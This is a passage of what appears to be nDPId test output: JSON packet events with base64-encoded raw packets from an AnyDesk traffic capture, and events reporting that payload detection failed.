VeMZyl\/oMLurDYLkPjjn8s\/5dNGIV9rz0MK6BuxnjybQif30UlRYSCl5HJJWXFE7269eUA\/DcVMrBW3rdf3ue7OoQN8UWbfn6GKlVrbQ\/I4e3KGRo5\/5le+5N4ftG3WUrIquyqPJpUpWqoNJhbXWi8pFF5Tda4ZNCCV8gqXZHiOx95gAIkMkzPDnCQsTjZ64h7WZAPB2jrOwreAB4dKRQzmhfKF5gvSTQntlJHK1ui1SDws1crVGDTnpnIco6jfdcph5cHPRXmxIwARhp9Oob2wd5e\/liMvAOvkLht64JDH1Corm8y9DzEJLjsUEFMVdfrrjCtRfJSaiDYo4MtYipk1IAn2xgi4+q0jSwgEvip93KXKz2UxREVxY8UmNdKScJPfCBbMLl\/wS2leB6zeaQogbZC9ZkTo4u8nMmtj789ASgEnYwgqtJMSCApQK26iRUPQXQslPGi9wDDhuSsR25M\/Q2O22ltIHGbEkRQ0TAqucd\/f3v7YwHCEW942cvZDh5iDkqxowR9JosgjmptiaUFECvfUJfGCBTNW0xQSrkkl+DNaV3PBnkuHJI6MdwC0S3rEaAbuBnDdQFWzlkZtCuMNeSS4jKxvBRvRFVgBXAilgVoOy9vyOfNwE\/HqGS\/7nKmoVFc4ICg\/JoPa6WfHFm48sdAKhF1TTsgSY1JyKIf\/aQ6mYU7uiEqF3lPtoHF0+7CJuOZx9FF8xkpKo65TV1NDKGmy+57DzU5AkVoq+7skwDywa0ewuvdnTTn6lbXbAdX+op2cY0mxBe7LPID9ubaortMmW7y8el6FS0gqBK85E+rknUntbkG+OzCOTllUieVgLHWp8LGP\/afmobDwH1rQXlWOe6npWtM3hA\/KRLAXDGjGW7E\/6fz\/Oku6gkCzqKsM3937ueZLhwu5h+YIVznaNjA2PlWsDINpZ3l38S9YStJpG1SQGfaABSZjH+vZmDvZCeKyAAcaUSM2skKeAaLK76K01tAELNQkgXPTBegEjeMsg1rGxKwkoPeVSx\/Ue714jGlvbEpcnPSo0Wu6Wa5fVCsLZ2u6DC8XfOafhcPNZr1W+1\/1VZmVZDEsoFtnYihyONAkCTjCVRVMQjYr31EClKDefRCXgCqH51UgrnLd2kdGoU+TFPrt6zdXJHHhyl6jVOYhqn0FIrnYXYd7qmPvQIvhEqr6ESmENEzsDpnGT3fOZPm\/uv9hPLDeBhfdpR3NLnGiJvMVx6JexFrpPMrX+bp8uk+zjB6sK3QoUXXFde7+6xVH28aRdrCdVj\/q\/Nf4gja+aoSUxXy\/t\/IT3PIrakh\/73E0sfIgd10rA\/F6aaY7BBKBPU7Au5ekdkjJovHMEdIky2ERHTIe7siixRS\/A2KV4OG8VHjWLDpQL+o7VKYQtg4UfMJNqh17UVcZ1oG6UqpfCU8IN3w9SQ5ca0SQ91xzN\/kRHGvdqXtxITZDQLS+ihvtlGFdPw9X\/k4I8TcbOhh6KvysGpQrnfW7rormJaF2zwnFkR03mvkBjWscBVEdSbfQsNmeKNP9Y9zekSTy5qwHVxlAjm0eFer9G23\/efIGp5fzNYcyLrwMuZQFh\/I\/t24gjXnQqdrUrATkER4seusP2U2RxT8X7VFrnJzq1j6DFN5RW0Ta3fpc6aMx7h8I5+n47AxqozrXmtNjSeYoz+g5Xe1PjsrGibollH3SxdbNq7gW1P+pdQ99qf4J80ZDsKcDrVWEjky3UfM4k9I\/zpJKPc2Fi42AVN6UqJRwH7IXXDHcsV54p2OEpVCwHP1K76ZmLPcFL+ziVNRr9gz7TuBuFwW0SKvfLvXFQ5eii8BnX8vEqMIVxe6x5pen+1mK1lCX+ar8nEOoOtudegj6x2oudsDQU84tzGdKqHgX6b2voB8dCOmykK\/h0Z6QZUK4WGo\/k3GveeDZlX0REo2Coy\/AaZZhI2XLZVRSJ\/NJiUcDY7GiXFYrsqvOG4odge+mTQhHrjtvlsIzGz3d8awwhQD1+YhJmvGiJWHHBq0y3\/Dc2dXQkJjnDgQKd0Q55bc7in0cANIeG18DEdQwX7CULOu1UdbfPqteBfXtlraizDannTo3qJtHgERPn\/n0HX9Zf2xTo3sTaRxdD2NltBcZBDZoa4TPFbU\/fLdE0LQ3dizcHNO5B2SLjTPvqquM1gJt9DSkCZsJojwK1fjUvmaBzYK9yX05qHUGhMh9hBTyFWDtcyXJc4gU9gNMqTnS9N6+Xtpo4EBnb+XllTZkWymIygYAO4MXoRD9ADRxuObYEA10MOZXzwu4fBiHghSqkd7K0mZsNqd821EstTyUGjotWN2T0tjwbCD0GX\/HK05TlTl8oxzzroEfH2iE5tn5oyU\/yoUoIxyAFn81UqNtSKsHS7QJeDoygjlFszhQ7UsoJYIQbi+v3evru3TbRv5JDHYZf3Vi7YmWSCdyU17CgSArDzwSIGdVtEJLUeXwG+KiBHpVetfq5msxFMh3sonB8hKApmTEPy1E9XxdOV5XoWoB6RUoNBwGr80o9eaZCAxxug2S6SBDKFpcR+76lVCi+a6bUiCoo++lNXX0eHA+7KB7vMaosQV76yB9E6N29j2SDJLQ41tHX\/9omyD9kRzsOoY4wkHNHZhYufEpNSSOSrMW+m5Y1xnTC\/KeyFynT\/UOfxQ\/r2LW0IL36zINPqRVCnZtRVUlUOAdr7v4qP3zQp\/obtUzezym\/gOqCj2NKv7i7plAaytyhnSmXstPReoWfjEkFMk0IQF+uk\/LCQnEtESqP1c9OzMSNDSAdkMiZ\/AwPieOsjNiP2dRFQa7Ah5+0W1GkUNlbh960kIT8THDhjmqlbeCZfyW6WIKVZ12PWGzCN+I9JjL8fOA0z4C+zoUSg2F4ARtebh7QpNgy+vaqvU7I4yAVA645AIkX\/m26a8nrmAXgtx1W1NGtJ6q8eGtjEdzEHtxpfJjLDvRBnwb4w+JzM8Z19O4f+XC4ZHQdywXk7J\/DXfXHA5Obd+32+wJHsrh+qc9Jl6WFayUGAR3gysvys5yTvo\/iwf8MHNwI2pLWOmcv+HOAn9fuKcyU0DlxZlFiVeLCO\/\/Hq+3dxAQ8PNdyl3b83EE4HXo10tE+8dfYunxLaXIl8p32eiCJx+NyBuEpVsnFqQ5T5vTdkNO0mbJwcmYBIn9gq4kSQFrgVyci\/xY8dhTqbDiBNw\/VoySSBC7gID9ofwsSe5\/iCKqo\/kfwFwSPpv6ivCtYZuXOo7+Vnme2wQsYDIbIPasPIZDzzvZD7oAVFlNmwhE006NGQfF2Od2MIRUFuyDJ6VzjTtovZxewdJVJU31C4VIpuzqEcCLBcR2Tsp1haqOSDJNmLtmRmm6iutcJedD\/Yp\/vspVtkq60ztWC4ge\/t2CT1LBdhhTlXHHDzU2IX\/iRXjPKu34MAECwdokmvCk6XRQxCMvigRQ4du6DjlVEU\/2PhQOyz6g2BnDmLR7vv\/9Q0VT4xE5QLvLGOggr628aEbLXhS8kPtOFbwXsCzH7Twt1gGaCuL9NpvG+1\/VqLjOr7NyPhX16f365Mw93H2Uimu1i78GBlCdNiijGaC3rvpp8P2hqOqhMWhRcakGdBCYvjEOXY8V7JyosmzWG2QrgvF5K2x1M42aohXg2NW8U9MffUGl2b\/ZMpQykdLmH3MiM5Y72+nkhA2rKv30VlLKZlHTRrGlNEtrf0F+CYj6yAcvqjcoagaAHJfeKLLamExLqCzAzAvLY6wiC09yxa15hx7GYWUD+JBAmg="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1784,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4630} +07816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1787,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":41883,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgi1AAIAGAADAqAG7wKgBstOUG56PLLRAWcQ\/KFAYIA+ExAAAFwMDFXlZ4hNO+msWjaWiYXoigSfUzuF8EPc\/eopKxdOFdo0f4ra1CF+sxJAI8mt4enN5h70a0fULUlngzigbvNvCjs8rAFb85GInDvrBx7P3GZkIFdw5URHt48iURbrDB8vLnFAbO7p5H0Krfj9pfOnQwqodY64H0kzpMXEX8c4E2YnPMTIIKH6cTk7SEyfQ0P3FF1hr5ONulDwgmBqdvRG3tZmn6x+za0mFuqshV2N7iHYKSxtQHVvLokXaAEeIdZjf9N+hAMhKkV2PhAX6KQN1kLDfXWb4yLNP5Y2tBLuJTeKhaGTYQYq3G\/QCiwDsrn904k1iAjpMNChhFJenoe1xgzjFPhGdh8B\/i7R1KfVxv+7w3+kWlioFSxvB4vseHtj5mcujBpcW5mqCEs1JxFIlLq0t+LBED8rH8X+\/md5sI9WtoHoDWAhVVU6qZ7gTnJHBs7UOIRiyr2QDIz0+dk+r30aG1afKlWoBawFS1qqO\/m+VeS2cLi1QYS5ptEIURj355hFvV\/tnwxa4wZLuZ0jFL0sW7p7AUkBitLWDynScub8vR4U3L0s5BstWnCNh1drHPwHdNF630jie7v19AJQqgAOZwn1KKmnz8q8R7oDBimrRF6xDhThqqcIUFBA4w6PpG\/kqANoHoJ3KMoDYVEpWyvgXXtsbJRy4CSh\/tlUuTYBHwqyrU+eoCWAEq0ju71FX1QVQ7WERPonWmE5XhLCe3TqyYgH1k8vWseZPXemqWGEOR\/8brghGiF66JizAeQeiUj60\/phSt6W6rOzauuk1snyusHLJ6uC5f6zK5jTImcButP6kAedS7EScl95aqRce8M6GmmJcrNQld0f1RHqCr0xFwEyOPjyI6KRH1XyOHd4g2LEP33dxMbJD0\/H89wA8qxPa9\/Ac4743M8XrvyVz5iwnUxQORQvIkTP49usjOiveTE\/XahTZwqkogmawTeku89p+dmH7jJBgkeBXCNyKPAMB+7dpbxzKA3nL+R+u4ciP8cj8rJR2xKPYkwJs1nBqhbdzmHr22llvGbm4KJIZRhXDJgovRbCfpIxy1G+VbXPWhptgor46hFCb+3Gc2mr2ukUSFonZKJ6SM+ZbZB9WPEFc5jhWRd+lbxB01pRtwOxWBx\/nglx6dP+EurwslJOjaBW7+lipB+4ekL4HqCEEwKjzLnuvKPq+7mGdGaMQQowcW5s\/cTjBxVRwwlfBfq6BRODE7qMaAwXGhJSenxqPVUycyAo62Iyi8HKeeKBf1dTp1PDGi5IHAzRgQNPU+gtrUesI+4tQ4U3E68RG+ap+oX7DV5oOmx+AEXF6s7t2jMdbRUHdf6diuRe23ruAjKEzO5lCy+0LD6B9CAjCAKSPJEzzPEUW2LFlbR+a2IsuJO5GpAydEtKrbzq20mTlFXhv7iZdiGhA2z3qIlXWHMWrjZWUOag7Okyrb9os5S+5uD5CbabM1YZMehljE+mfuTmw2NHeBCDRksdinRkLcu5RR2MHUJ9rmn5E+Dnv30Rl2sm1YMs+UfsGvA2FwQ9MIRPFHYdcOyIrhqwz8Qod0T0mxxzgaVXSRIe7JsrcykiFc7xWb+G6kFSeQH6ML\/MDBrEHTWlw+eE7zNpRsPQZOavWpP0nOBGR3P7AC9Hey4I3avS\/HUA6QmEOluNSeUOAgcpJjtSrvbG27v+AzgrU91fYOO7zzDS7kJ4fXxOa5kdyxfdzQKAaxxC3EPtsCQqxA6qa5gVDjsR+fPx58IB+qFgllo4JXoj\/3OVuuB92cZnooydC+Ana7HipVkz90BIm7Vf1Q628jZEyyukHb6hLcEIWno7ftO6XHBCCUc5mIBAZR41y3DbL0FvHLfW290L+AP\/2VUPONumne6tjlQHgRLxezccDOGnKSv6dAzDCuCnxMjBbepp1MLibERTX08FS6dcPLUy925CeQGDlbXTaouQP3E0rqZ36vVMxFfngsYNiCvteRZmm\/GuMBnCqbbnHKxTaun3NiGhAPbut\/kiZkruS20fENkbcYbwcWPml5682syyGmv9Rr\/nRowdX3kRopSoJctptBvD9KOPJlrRbGLpKLByEsPQI8NjQAJqANp0RL9OpsFDdvAEVx43oZZiaPU8ACROOi0Fx7uIWcmlbLzIMwhLgjYjzLI2ji5CFohCXIUjuZpEMlOWkstcKZlMa23ORcnqOr6SEfgsBG24R+B6eeqx52GPxN2HTTGtiIckvVKuitoKhWmC6nDZRSAm\/mTixFSbm\/O9wwvMEDITJilhOTUO+c5SZ+z67Eka4giQqfV\/5KJ0asCA\/LEGoC1juNAExjNCU+g7O0+MrhcSfUzQHjxqbj2AH72PhwBOe9leF1uWBc3V9FdVoQYyWiAljEcCa+iaPLBdMCzkkvLF0j+r6Qyyl8yWdZWb61UhTYz2mq4\/M\/9S6yHzTH4MhsKdZB3XkH\/B+54tVnMAmswRkk7kdckybxHYMU5VIOagHC0xxeUAEzdHyy0efOE5QzvFx0p+ftBLRD\/tEi6Xs7gkmaDCaXXIiuVnPxaAXH9xzAWmGpxTDer24mYnu5KQfh0HT\/wrcMW8FKaakqJ91iH5XQjEnpxSjgGeR1mlQ+My7iAAE+YnrrNU4D02xOjwrCpiQVpP0mV3huP1RFXFBuFq1EekoiP\/o6DBLuWXDdG7BpnVNkkyTXWVam0mTg06ryf5\/ySDhii7oUbokZ081BfNZ7wC\/ZoClOndHKHE56yd359Wdhyy+N5ZEUIoUqnHXW4aJfKVg7ngawN\/wUle\/wuLTJcI5GZiVu3wUBAXIBXQPfA7ZQnTTxsBL5JDzbsqf8irmXW\/Wm5JVlolcx+yo1tglo\/Vevh8WqsaKejEdQ34CbYpV3XlZqeEZn0XV\/GsGi10a\/69IFGEtBNsLQ8oyXjKJq2nKo7qAVWrkqy0\/NOLGQQE2ZVl6uHyZ4yS2cAtlwY5WkrBjDpp8Tem5ye0axpAYpdf7TmxkrJbvoDBAWJa7FaWEdXGUwBO9IbAiSYyK2bvDP3MqMDwO+52L4ETNaogV2cYGjeU646upWcDTMNWGTQ9xlEAFvgmUOXKr6xkO8cYh7aeV3EcRd3VqgTmDx\/H2k6s8kXUu4mPGPbZsgtnRPi9ZZlSLlsq0TSavyW3PP7QqoZThp8Ow9wcbswD5xl\/d9pac7yqOUxGvIqXp3Im\/\/4B+5cK+bmEJGhDotXOhN18vG42UBKJzXicFhPOqQfgtrBdyOADqhK8OTnaFy2w89TN8+frmjFuhkru5ZTk+cnlc3VBevuMpcsROXbWnzOcFA\/wRdinIKi1dUaUYq+NtTksFizMpA9BSP2fIJECyLkFc586CrPPi00cXC8yoqCA\/I8xPP3BmbonOyGup3v4YsnRl6rWXpTAyvdJssedujG+GU1221gxnDw8g0BNtBCXDjV8x43SQx7G9ntodOaYZ5RhKof\/bhjhMDLYk\/2Tq2HCsb1EzBRYVeB4+KxA78It492d37Xq3TR704veZeF7KAXzKltJ7ZL9R+FDKE\/hUWsdx6GpimqZ0BifFB+zXJ6QPYHzZE9X3nftYiHOnGePspVzRdPVz7FA\/1wv9yqONpRVAYqjY6W\/0eggqHql0w3azslif82nJ7doPJyRsKykbej4vBlvy3xZvY9\/Z7lHmYKlCKtSysZ8vidJ9q3p8FM7Nt8zs9vmdNngKjOx4h8jzmviJR4Tc0KuFJ8V+rDkSILAEjtlmSxFHphauiZNpV88VWYT6VTJTqPMcpHp\/Hez0EDkD8X4sJoDtDC5znMUkRI91gDaxELvvf+S7pNmwppMN0kxBf3wHQPZGnMyCMVVlGx3c3bFGTwUbPmiG8cXD1s0VaBOJ+HNkAIYD3L22Md0sC5ZinqoBd5LmAiANqp5HzVn5IFbSQGGIE90TstCScWzJac2lCX2nU6bOBys54QcTatu4dohnSwRfO0jKcFgoC2DSJWuoxjzYWrM24sLRVWaSJEjKT041ZCjeVVZVOEQ\/vfdVvIcSRZstgIWeoSkCvD5JRYDYyXhphicP2tYaxhVKod\/zGTsTykidM8aXB9wVTqW\/fVZ93jiK7iOdKVE8EZN\/b8LuI9i7un0KEUImpwYMAkvXfrJWBf39EVLM7x2q9RYx4Qcm4ZoPen7WrGRUhc8VW5A7MkBsp4tRNcQWGlCVRl3YjDzpUcDaT19JttDxKC1QO1TxInoL8Ez4DxsuMtq+7atV1jvZXeDtICfAYZ9FFyrwJ8HZs3CaZnJhi7p7o9W8WDvM5eZvuu0lSEtG7D7zQHIM3\/KNOpjJsYrW\/mOShirHaBTbjO6u01zebJ3lFg1x4fTUbsqLE1gpIr0K2S+9eTRUAM1FFDsGE6oJ7EfjUu\/VSO8Y80Pa1UgRYXKR6I+FnfhjZjd\/ag3Ka1OPYnqhpoO6SKEMTdiOWZH7vkdgTltYCOjQj4RaPl8pqzGL+3F3iCwo2JxniP\/E+IseRv6iqsNWflTJQQiYwOb7A6I+W19UUxHgz3I5Ce1U8MLUDa8eZjhstkjhuwhdwodgLWhSmcg9s71ZL7rLkBTzTrws1kCgFwsbPaZxsujnldGMeqrAzFUQ8elSIoiuGROsa3wTz+9Jv2zybWyHHVm9lS1FsHgJYmUkvZTOsJuE3KW3tjcL+l2GYB9lKS4q2s3y41AcER+e9DQ7KB4q7PE01+rIwjtLFapLrDLF8mxzymp4Xn+g38mlfjzt7lLdOkKRel\/1Bd\/gPa0e3GC8IWgJdxnqZpV+uJFWVcZjwpBckeb5QjKf5BXikr+dpzTpmiDakDqNM8hylEX9CaJcBOwwZqV9E3uf02rCrUkKK6o0FdTgLGA6YgbkVZU9x9dq3xgErepm5j9rXc9Znn4dmo4fHhW3FRQnxyvkny\/d1Y81Ewsnl4AwX6cceJzB46zhxPS\/WB0UV5MqOsdJi\/2eBTCXz+aN33C4oYKud\/+uqh2AYK1PsH0e13aGHYvwj+5um9c4K41vXpY8zmgv\/KWrMoOFF08pxjNtaVxx2NtZQdPjtWN0r5G+M2pEVfRlvPwlKa64O6CQtYzb+30aoVb4Qp27E\/HK6fIpWhcjOx7kpnDV74JKBTKcoZiN23ugzA5r14bg5XJQucwmgXS8kWA5isEGxHy+0XKos2wfqTyYyH3lsTKJoDIUxbtS0Ytsno1CCuP5msdnv7r0+eFf0YbzT2eHvxgWyEobLMqkgjM90QOOnnCE0SywHwDW5z2zUml0SOXGwnZyRiPN\/FNHRSyycHrl+eOwsz141v3mte397ylTw66P83oEmZrFYRVQ0vQnos7AogP9S8R1D16JLWyFTk\/o+39nigPqnWEoXpzIsbYK9fPM7y4hVv4D9R4FKPlrZj6R0eBYxDjUwdoKQcn6oWhzclGZrpPSxCnBcGP3GW66HMDTS9dEH5MWLyiBP20wNC3nUGBIISsuub0PjxZrtyQkPxuQxW+X4tB11K\/szjcdMAnfiBLQMPpkIcFtB0d05x3v3Wgtm8ETwAQo9StoNwffiTxjGfiMecs7K4EQ9ktrXpyU2YzDz6wtKzFpMqKIfjaRUEg9HQebXyEPH4zG4KFq9A4bUKwMkgLZTfoAjZd6nuILcgAuFIuXpiDt0GU9WQ5+LkFr4vgS\/9+22\/XLaBwjkFYeI9xnIyrPiDnedpu6nJviqCNKcDtbpGE45LsjbV8J+9Z2IOwCcZqMK2uUB04lL8cVyxnR3eEG4W48amcQmYQjqFgHPdGC5eOM4EHhF51dzKKnBejTpTUrQieFpi+r0T\/U1lXDZaPloDSL9zMH5x3azntRYTmz0JOUqAj1GxpvB1CNILq\/3YfhB0WI9N5B0iI5C\/TY7vTdSSJGmFGgn93PjSOCAqLC9NPhxUabVNSx4B+CNxet3Q92m+M45ghyNsIEZ0JmThl6wtybpsk\/QDXaCFDDl1XTgTfmU1d5P4xIG3cUTySEE\/FKcP\/+PwHFtP9x0cd5pQnelAw1ImmjrgStJ1cZp8NkTQUk13LZvSeVOoAy7avQaTBRLmt8\/v+lqInOVEJl5FvNGUUTr30pu2qTow7XoBF3Zgmwhl8ELLP9yUDsKINMvTi3vU8wulZywhTc0x1W9dFcllKKDk2kI4Npa2m4BOYUZRxICRbTZpiZGRQpUtZ1FWhNK+j61LV1XBdEmtlRYX8DcUMKtS1WRTUGgO8oCUj3nrZ42WmON41NoN48KNqE4NnX5DDWD1IUGc3sixcPGHAjC\/qwX2gExcV4UIckkhR8uI4I+1Np9J7JaABV\/pxgMDV\/92cunEruJH7kN5tAPIzdwKHCUCHMEC5u500VnYBwb40Xs+XQfj\/Rnw8AijZ1NjSgDwpYmK\/7Lqnzh6ZRXnULpcasKVgpsvpuFtY\/tno4PqJiQo7AjyyqzFEUNx9Ve8E5jCE40h3N7qyXqQJjESSqFoBlO2YSyAGWwWJGVYhdCcJPvK8HAKime4dM05R5sYNEUdA5zyHUvP7vs3Z6eCGT68rHoHHnx5L9k3MVYqBlTzaVJ62VzKfR3DFiFDTmwDd7MfiKlswRkJfK9y2t6JSmhbcNa6Vx2RChB3iySYH8wTFG09TSgV\/xvvgykodgnwCRgDusjXPwR3Bvt263ORhC9P3X6Yh2tQzN1srzfqkfKP0DB2N6WMrGcpXVzN2kjd8ipUIQd2LJVDJK+ftzWNtV3PzPGfpEp7+7SKaelJqtIiyjnGVt98eGzEW7pekMpoUDBb+C534WlUb\/phcjOxWkugVdL4ep7D0RALwdZb9OMoEG2ttLjtCfpi+Z4RUKV2w\/unpwDr5fGt2AtBjkZV5MSfoft0L8KQRJoTiW\/sqUYtJSskNguBzxKMNQAzwedPiZYii8e3yrLZvoMbew4bRua1dFab8TbkOMHhTre\/OKv\/O88VjI2DG+RbdLHgt0GWv3TLy0WEPlBgTEfdIdBbZd5MFF3teaIS1ycGyvKR96r\/Iqy6+SU7ZpthR2s1qv6q2d+gb2qVDC9Bo4AXHi05+O2GJifLBPPWre53IqjHEkHwX+psis2+4v8Pa3M\/SfIDx3uLJAoT16RzelryaWpOqSVjRB\/KziZfYEoTAZovLiNbOWiFzoRZPkCQ0DJQ6Lv14Jwo6qYXfTfUPaTg8v0mKGgxyhD3r+xEKZNPpwmU32f6PCXPkAm6OXKPDTDxYJhdbRt6Awt\/vUg\/EG2li7kpvSD\/gojf\/upeM7k+EEroUWRO1rC3LnJg7mWesYomabufXLsRbvKLrNYsz2EjjJGx2dHYIJCoxKL7fqLTiEzjB3+5wH2+kQ+DabJzcpzJeOBDK89jJkalhrBrY8Kp\/bzliOj+xB6aQ8zrSUYs3og4ZrdaKHFL6vMjRL"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1787,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +03818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1794,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":71211,"pkt_caplen":2604,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2604,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgjxAAIAGAADAqAG7wKgBstOUG56PLM2IWcQ\/hlAYIA+ExAAAFwMDCfFZ4hNO+msWj16J2Z\/H22o3MJOOzGDTYzxj7jjnRIVTihdD2dX99KcYvoopUV7ftEzTZe62U5tEgJLZ6WQ4ZTZYS4GhKuhBwWt3YATYxVqqAPYqRtuh5lOxoELeE2gXpfzIbwIWCqwDuHLEhVQzRqlln3hflsg0Zm1t0DoDneSp06M7z65++Z83b6fh6DIm313nxfAH4su1v05m9Ha42Kge2zCVmC5bzbTRWhjWzwcwGMhmovLYe7iYWx5\/sQf\/PjYN\/93bhomOLiMNP7gbpFN+05tAqrB\/yGF7KIJue2OC2tXg8hUyavBnRAQPSUsfps2CLzSCrjhweyW5MJPv1+xAoldjZwqe8mvC8nINnBqin8l\/EfiWRutFvlakTLhhA4JFSzwzSKlhPTeeoP71p76+J2ERQWQo+Yrp5cxOTuIZX8R+2fKEuZubHExcVyNnrbVgdOK3f12rIz8ffUd3WwMhhnwApYPS3O7oJpnooT70znGNCuLU3KcHWu37nLyOI\/21+zCLes47xaHh\/vk1PUyykQWiX0R2zLVERTegAqS+PbRhkx5EdL+3vHSY7OeVVSAIwdUg6C+whtFX66PF7YNWpGp3ZmEBGREZ97TcN0sOQ+c9HIXXUUUlp5MvbhhA+2in2lHEuHRzd++3LKANAFPdRwxgIn30hwV6Ks8tOurYxhol1cNVrnzaWx0XTi6vP+Q5aupLMiteNPgcNU0pYCckkC2nzYF3zEYufWj5eTPnYSu5VxipaYPfs6GZOI0Yy2JDTJqenaEkn\/t2eAVT1SRo3KLRbP92H8ZRARmox0AHMuTbQaMLuP70BhZxNZr9iNckbBZ7yYuCke1pbjTEEzf7bzXVRhN5rQv2KOhJYFzFC7B9uTkO7X+tUd7Pw5\/IZOs+jEaBWjt0Q6LyYyIKZF2uvngeK7AZBzQ\/g017bkj3mhZU+lXZg2uZmQLmqAvxYv5KYAgmoVoodncqGH13IdQx0I77ALKKDi\/GWSwzgeFr0yvC7+cfqg0QT3TxlCvxf+ffxD+sTZ8MJgj3jWe18O+dGuG0H4kU+lEj8Efwgl9xeh69v1fBTX2IDoR3ubckl5qP\/GX+fZFAcIiUtmw2C8m39PRwgt6FxoUJ8IoGDUaM9\/tbZjJBNjeMf2EOfKZrUztba39HrWpxK\/Sq1czz9xaFAydWQ\/E2a0ugi9gmfL8BE8sdSs1EnpwdanXZkZtVp4fr89bZB2JwTQZDTck4EZndpVnJh2rJ8D7ujkwzCTody\/0A6pPEZGRC6jYpc\/D7vzB3OlsfRV7fivsyaMwtsGmBD\/FW8Z2j\/5zG+EM8R0zj1iAB01vJWarne8SFD35cSoeTwGZnBePU4twBrS\/MtY2nvWhVu\/Y6he4qjHYCgnuhiQKqUk20hEmgLArGK4LeLc045yrWrdSYab8qXB5Gcn6jtiESGG3Vs193lJkJ8EaJqQb0MI2u2DnKxIXndd6qka24ocnkReSwjEF32nGmLtjHDRTp0+fKWeFPsavMfNBNyDAIeGC\/uMAR5Dhbg0PtyzIvgMGUfLfX84nEnSBY8O71QogV6PZlchyZR0PwbAcdOrtxKTuqNtsb5KOjmCAMsymDIXEvBJyfXDaS4EdwoEpSnk8AVH6FVfPEkpnww8dtMoKmVzvqtBZjhy4MkhfuHRfyh\/kaPhn\/YVvaZ0tqJG3oNEIQ0iDsxkuAXtLrIxGybla289nhsATw9GkywyS3fzd5rta1MQ2ILtxF0iX82cbJRnREESXi8gqVC3udR4Nc0cFRIoeJvsbxDoYiM0AvtGnUhXkGd\/Z6gEFE7JjO+6o1OylHszhCPS8azTUqNv71DxUuLRsoXNWPeudZ\/52gP9z6eui2c24tghy2ZIc89AaPC9s2NZEWerG3DWH5vMnKZnS5i+ahfSHiXIwgj98dzRCg8Z9VZAS4XIScZgu1PFJcCLUrg4n5v9YE+wv+\/HKabDNHDyluPFnF2FekBnfqMVYHjzPEf74dWj6\/qbxJRWJ4inJw+RuXivpyipNYe1zBJa2xFjhRvw3Ll9WD0RIh3w5ZmiIsBYsqAeCCv53+4EOOUrOlJNIg86kKenqxgIp2FhO2XdEs\/Cx1FjuwtYcBngY6k+xENvSRd0gg7\/H2dPMkTS65u0wjIv2QjZL6ET0+QKEQx+jcKcGBw8mVAWeBIttGiuahi3geLUOt1TWPaVXMw1kwis6aPUrFzBQh6udKyCvOo2uC0VMkHDtpn2verSHG5dKmxUqlWDLYdRMJhB9pPoYdlpzK95ol\/oOJJEbwAgcpqvn6dB2SxFYLCW+BJc+WlKgi\/yMgD1YQo5F2SZrokO5y5KM3Qih7vivo5MeMX6q6xKIgECWX9pXB3zmmIn02HiTxEupH6uaXIlHoWwduWd54HL053gBKUpiDieyho0brQjdv8I9g2fXM0xmfqNnY9NWVOJUTT+Q\/Q+6qK1uiwyYplcpdDXXO9jxFKakU7mQnsP3DOMH05g4tR4inj0WtCkz9b77cOFCIC966y5t1Tz7kjIfKWr+n9Zj1pThOYeE0vCUm6a5GQobHGGIX9rgFYPPhwlVI4eGb44usttcoAmrmka\/7x6ewSGs+bIx8epxczdgciFhCRvJbtB0Iphe+rH+B5jO05bocxDkWzdsoanrBLe2Si7Z7sFVxjMD9MWUkMJWUKNkw+UKaJqE+kOOWPNv45r9HAay9LNI+of8qSB+3Wzs0S5w2fQ8ZshCb3wRIuiXDy+xoT7jSop33kcjJXPruabwBXy1bk8Avk3fDtpo8vx+xrc8ACaR0AJXRrKMGWfFBQB2GTGRrdOiWgAhqGOTkcaDJu3fJVU6ZwxzNAas0CsFk3qYhMY58e5Hl8VqCOPA7K9ZyhD1IlM4FurQLECsmFCZtFwWCT6gCDM0ZJwaybbky65d0KtQlAa75Vd6yNv0+quLTVNhh19zH1VaozUWRiDmDVG3M5vlegTCTq\/JlR0ylUN5\/sUFCy0bNQuXW25pHHZfnwedYVcN15KP65WuRGiefLiEOlQV45zqUoFu03CfLWJMwBwuF\/zZqj\/9Qlgg8UhvVW4d5Qt1ETa0xRWsCW+nhWV8YkTnDz9G8eN8o0EH\/vP7CdrhAjTsJwNv97pLY6Ju9aEmhe2H2c482mOybsx5EoHKIpi08\/HCYArEig96lndT27zKwQmj9+m598eZF5Yg5pE1GK5EKEJ57396cMUst7Li3sFazYRSvrU8BlNSJR1MVhoVLvkSIY8+FEeYC1OzWKzcEfo112ixcb9452598lUxVf81VTvkg6HwjRBacWBmy+7SWc6QHkIVGDWr8m+QgMULnCayrgBRXNw1gmT4ru5DiQjJ8LicyjQuikgjY3sU1eGN0wJk82UiWp74A9iDimDt5M5t6UOCx"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1794,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2570} 